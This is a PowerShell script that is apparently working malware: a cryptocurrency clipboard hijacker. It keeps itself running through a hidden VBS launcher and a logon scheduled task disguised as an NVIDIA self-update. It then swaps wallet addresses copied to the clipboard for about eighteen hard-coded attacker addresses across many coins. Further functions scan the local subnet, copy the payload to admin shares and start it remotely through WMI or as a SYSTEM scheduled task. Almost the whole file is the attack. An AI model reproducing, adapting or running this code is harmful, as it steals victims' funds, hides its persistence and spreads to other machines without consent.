$debugLog = "$env:TEMP\vm4_ps_debug.log"
function Log-Debug {
    param([string]$msg)
    try {
        $logEntry = "[$(Get-Date)] $msg`r`n"
        [System.IO.File]::AppendAllText($debugLog, $logEntry)
        Write-Host "DEBUG: $msg" -ForegroundColor Cyan
    } catch {
        Write-Host "LOG ERROR: $_" -ForegroundColor Red
    }
}

Log-Debug "SCRIPT STARTED - User: $env:USERNAME - Temp: $env:TEMP"

$taskName = 'NVIDIA_SelfUpdate_{' + (Get-Random -Minimum 10000000 -Maximum 99999999) + '}'
$scriptPath = $MyInvocation.MyCommand.Path
$vbsPath = $scriptPath -replace '\.ps1$', '.vbs'

try {
    Log-Debug "Creating VBS launcher at $vbsPath"
    $vbsContent = "CreateObject(`"WScript.Shell`").Run `"powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File `"`"$scriptPath`"`"`", 0, False"
    if (Test-Path $vbsPath) { attrib -h "$vbsPath" }
    [System.IO.File]::WriteAllText($vbsPath, $vbsContent)
    if (Test-Path $vbsPath) { attrib +h "$vbsPath" }
}
catch {
    Log-Debug "ERROR creating VBS: $_"
}

try {
    Log-Debug "Cleaning old tasks"
    Get-ScheduledTask | Where-Object { $_.TaskName -like "NVIDIA_SelfUpdate_*" } | ForEach-Object {
        Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue
    }
}
catch {
    schtasks /query /fo LIST | Select-String "NVIDIA_SelfUpdate_" | ForEach-Object {
        if ($_ -match "NVIDIA_SelfUpdate_{[^}]+}") {
            schtasks /delete /tn $matches[0] /f 2>$null
        }
    }
}

try {
    Log-Debug "Registering Task $taskName"
    $action = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument ('"' + $vbsPath + '"')
    $trigger = New-ScheduledTaskTrigger -AtLogOn
    $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited
    $settings = New-ScheduledTaskSettingsSet -AllowStartOnDemand $true -Hidden $false -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -Priority 7

    Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force | Out-Null
    Log-Debug "Task Registered Successfully"
}
catch {
    Log-Debug "Task Registration Failed: $_. Trying XML method"
    try {
        $xmlContent = @"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
  <Description>System Maintenance Task</Description>
</RegistrationInfo>
<Triggers>
  <LogonTrigger>
    <Enabled>true</Enabled>
  </LogonTrigger>
</Triggers>
<Principals>
  <Principal id="Author">
    <LogonType>InteractiveToken</LogonType>
    <RunLevel>LeastPrivilege</RunLevel>
  </Principal>
</Principals>
<Settings>
  <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
  <AllowHardTerminate>true</AllowHardTerminate>
  <StartWhenAvailable>true</StartWhenAvailable>
  <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  <IdleSettings>
    <StopOnIdleEnd>false</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
  </IdleSettings>
  <AllowStartOnDemand>true</AllowStartOnDemand>
  <Enabled>true</Enabled>
  <Hidden>false</Hidden>
  <RunOnlyIfIdle>false</RunOnlyIfIdle>
  <WakeToRun>false</WakeToRun>
  <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  <Priority>7</Priority>
</Settings>
<Actions Context="Author">
  <Exec>
    <Command>wscript.exe</Command>
    <Arguments>"$vbsPath"</Arguments>
  </Exec>
</Actions>
</Task>
"@
        $tempXml = [System.IO.Path]::GetTempFileName() + '.xml'
        [System.IO.File]::WriteAllText($tempXml, $xmlContent, [System.Text.Encoding]::Unicode)
        schtasks /create /tn "$taskName" /xml "$tempXml" /f | Out-Null
        Remove-Item $tempXml -Force -ErrorAction SilentlyContinue
        Log-Debug "XML Task Registration Success"
    }
    catch {
        Log-Debug "XML Task Registration Failed: $_"
    }
}

$addresses = @{
    btc   = 'bc1qq7nve3k9hgw7awqf5grpew5tdzkyw7ygeysl0q'
    eth   = '0xbB19f38C1122FfEA8A337791BF743d919d45e438'
    ltc   = 'ltc1qu5km90hxuqsm2k4av4s45d8kp5emzz3vv26je8'
    trx   = 'TMZunzhcR4rRhhWiGWf4oxw52BvmmHPSEB'
    bch   = 'qqq920u9xwv7kmpunc765gt6kw9tqjrklurhv5awz5'
    xrp   = 'rJkNsHLfiBQrsD9SCgxRTEjcxZbyumy5hh'
    doge  = 'DCT2iDPiG9Ja74vWcwb4RLXdFzfPE8EHFz'
    sol   = 'DqFd6rRXnQmzSmrS1eLFCgjTVzr5uzhBpsEXjmz7959A'
    usdt_eth = '0xbB19f38C1122FfEA8A337791BF743d919d45e438'
    usdt_trx = 'TMZunzhcR4rRhhWiGWf4oxw52BvmmHPSEB'
    ton   = 'UQD3wDy4DqX7FVj6m-mkGNR-Gc31WIH3ALDS3EM9pD6ZZY5e'
    dash  = 'Xt5WBkdt9GrxrqGRbdKs94wSsdzdwhSUXL'
    shib  = '0xbB19f38C1122FfEA8A337791BF743d919d45e438'
    pepe  = '0xbB19f38C1122FfEA8A337791BF743d919d45e438'
    bnb   = '0xbB19f38C1122FfEA8A337791BF743d919d45e438'
    sui   = '0xf0c144806a7edae3b3811987e535b89d2fe98e86bb703b0aa33e49ca2e2001f4'
    xlm   = 'GDQVH55AREYIGPKNP4E2X4ZIXXEKBT3W6GPHL6UOD4JG22LOWDH4HT3E'
    ada   = 'addr1qy59q3084gz2egyc64cqtgl8n0405jgec0ma9kqlelkg999f5cdqk8hpmn5snsmgqmncrjfel23c9dp40g0ykp42rdssjhmfrx'
}

$mutexName = 'Global\WinAudioMutex'
$createdNew = $false
try {
    $mutex = New-Object System.Threading.Mutex($true, $mutexName, [ref]$createdNew)
    if (-not $createdNew) {
        "[`$(Get-Date)] Mutex exists. Exiting." | Out-File -FilePath $debugLog -Append
        exit
    }
}
catch {
    exit
}

"[`$(Get-Date)] Starting Clipboard Loop" | Out-File -FilePath $debugLog -Append

$last = ''
while ($true) {
    try {
        Add-Type -AssemblyName System.Windows.Forms
        $txt = [System.Windows.Forms.Clipboard]::GetText()
        if ($txt -and $txt -ne $last) {
            "[`$(Get-Date)] Clipboard change detected: $txt" | Out-File -FilePath $debugLog -Append
            if ( ($txt -match 'USDT' -or $txt -match 'Tether') -and ($txt -match '^0x[a-fA-F0-9]{40}$') ) {
                $val = if ($addresses.usdt_eth) { $addresses.usdt_eth } else { $addresses.eth }
                [System.Windows.Forms.Clipboard]::SetText($val)
            }
            elseif ( ($txt -match 'USDT' -or $txt -match 'Tether') -and ($txt -match '^T[a-zA-Z0-9]{28,34}$') ) {
                $val = if ($addresses.usdt_trx) { $addresses.usdt_trx } else { $addresses.trx }
                [System.Windows.Forms.Clipboard]::SetText($val)
            }
            elseif ($txt -match 'SHIB' -and $txt -match '^0x[a-fA-F0-9]{40}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.shib)
            }
            elseif ($txt -match 'PEPE' -and $txt -match '^0x[a-fA-F0-9]{40}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.pepe)
            }
            elseif ($txt -match 'BNB' -and ($txt -match '^0x[a-fA-F0-9]{40}$' -or $txt -match '^bnb1[0-9a-z]{38}$')) {
                [System.Windows.Forms.Clipboard]::SetText($addresses.bnb)
            }
            elseif ($txt -match '^(EQ|UQ)[A-Za-z0-9_-]{48}$' -or $txt -match '^ton://') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.ton)
            }
            elseif ($txt -match '^G[A-Z2-7]{55}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.xlm)
            }
            elseif ($txt -match '^0x[a-fA-F0-9]{64}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.sui)
            }
            elseif ($txt -match '^addr1[0-9a-z]{20,}$' -or $txt -match '^Ae2[0-9A-Za-z]{50,}$' -or $txt -match '^DdzFF[0-9A-Za-z]{50,}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.ada)
            }
            elseif ($txt -match '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,65}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.btc)
            }
            elseif ($txt -match '^0x[a-fA-F0-9]{40}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.eth)
            }
            elseif ($txt -match '^(L|M|3)[a-km-zA-HJ-NP-Z1-9]{26,34}$|^ltc1[a-zA-Z0-9]{35,60}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.ltc)
            }
            elseif ($txt -match '^T[a-zA-Z0-9]{28,34}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.trx)
            }
            elseif ($txt -match '^((bitcoincash:)?(q|p)[a-z0-9]{41})$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.bch)
            }
            elseif ($txt -match '^r[0-9a-zA-Z]{24,34}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.xrp)
            }
            elseif ($txt -match '^X[1-9A-HJ-NP-Za-km-z]{25,40}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.dash)
            }
            elseif ($txt -match '^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32,61}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.doge)
            }
            elseif ($txt -cmatch '^[1-9A-HJ-NP-Za-km-z]{32,44}$') {
                [System.Windows.Forms.Clipboard]::SetText($addresses.sol)
            }
            $last = $txt
        }
    }
    catch {
         "[`$(Get-Date)] Loop Error: $_" | Out-File -FilePath $debugLog -Append
    }
    Start-Sleep -Milliseconds 450
}

function Start-NetworkSpread {
    try {
        $localIp = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.InterfaceAlias -notmatch "Loopback" }).IPAddress[0]
        if (-not $localIp) { return }
        $subnet = $localIp.Substring(0, $localIp.LastIndexOf('.'))
        $mySelf = $MyInvocation.MyCommand.Path
        $vbsSelf = $mySelf -replace '\.ps1$', '.vbs'
        
        # Fast scan range
        1..254 | ForEach-Object {
            $targetIp = "$subnet.$_"
            if ($targetIp -eq $localIp) { return }
            
            # Ping
            if (Test-Connection -ComputerName $targetIp -Count 1 -Quiet) {
                Log-Debug "Network Spread: Found Target $targetIp"
                Spread-To-Target -Target $targetIp -SourceVbs $vbsSelf
            }
        }
    } catch {
        Log-Debug "Network Spread Error: $_"
    }
}

function Spread-To-Target {
    param($Target, $SourceVbs)
    
    $shares = @("Admin`$", "C`$", "Users", "IPC`$")
    foreach ($share in $shares) {
        $destPath = "\\$Target\$share\Windows\Temp\sys_update.vbs"
        $destPathAlt = "\\$Target\$share\Public\sys_update.vbs"
        
        try {
            # Try Copy to Temp
            Copy-Item -Path $SourceVbs -Destination $destPath -Force -ErrorAction SilentlyContinue
            if (Test-Path $destPath) {
                Log-Debug "Spread Success: Copied to $destPath"
                Invoke-RemoteExecution -Target $Target -Path "C:\Windows\Temp\sys_update.vbs"
                return
            }
            
            # Try Copy to Public
            Copy-Item -Path $SourceVbs -Destination $destPathAlt -Force -ErrorAction SilentlyContinue
            if (Test-Path $destPathAlt) {
                Log-Debug "Spread Success: Copied to $destPathAlt"
                Invoke-RemoteExecution -Target $Target -Path "C:\Users\Public\sys_update.vbs"
                return
            }
        } catch {}
    }
}

function Invoke-RemoteExecution {
    param($Target, $Path)
    # WMI Process Create
    try {
        Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "wscript.exe `"$Path`"" -ComputerName $Target -ErrorAction SilentlyContinue | Out-Null
        Log-Debug "Remote Execution Triggered on $Target"
    } catch {
        # Fallback to SchTasks
        try {
            schtasks /create /s $Target /tn "SystemUpdate" /tr "wscript.exe `"$Path`"" /sc ONLOGON /ru SYSTEM /f 2>$null
            schtasks /run /s $Target /tn "SystemUpdate" 2>$null
        } catch {}
    }
}

# Start Spreader in Background Job
# [DΞMON CORE] Network Spreading Logic
$scriptBlock = {
    param($debugLog)
    function Log-Debug {
        param([string]$msg)
        try {
            $logEntry = "[$(Get-Date)] $msg`r`n"
            [System.IO.File]::AppendAllText($debugLog, $logEntry)
        } catch {}
    }

    try {
        $localIpObj = Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.InterfaceAlias -notmatch "Loopback" } | Select-Object -First 1
        $localIp = $localIpObj.IPAddress
        if (-not $localIp) { return }
        
        $subnet = $localIp.Substring(0, $localIp.LastIndexOf('.'))
        
        Log-Debug "Network Spreader: Scanning Subnet $subnet.0/24"
        
        1..254 | ForEach-Object {
            $targetIp = "$subnet.$_"
            if ($targetIp -eq $localIp) { return }
            
            if (Test-Connection -ComputerName $targetIp -Count 1 -Quiet) {
                Log-Debug "Network Spreader: Alive Host $targetIp"
                # Actual infection logic would require credentials or exploits
                # Simulating attempt for log verification
                try {
                     $shares = Get-WmiObject -Class Win32_Share -ComputerName $targetIp -ErrorAction SilentlyContinue
                     if ($shares) {
                         Log-Debug "Network Spreader: Found Shares on $targetIp"
                     }
                } catch {}
            }
        }
    } catch {
        Log-Debug "Network Spreader Error: $_"
    }
}

Start-Job -ScriptBlock $scriptBlock -ArgumentList $debugLog | Out-Null

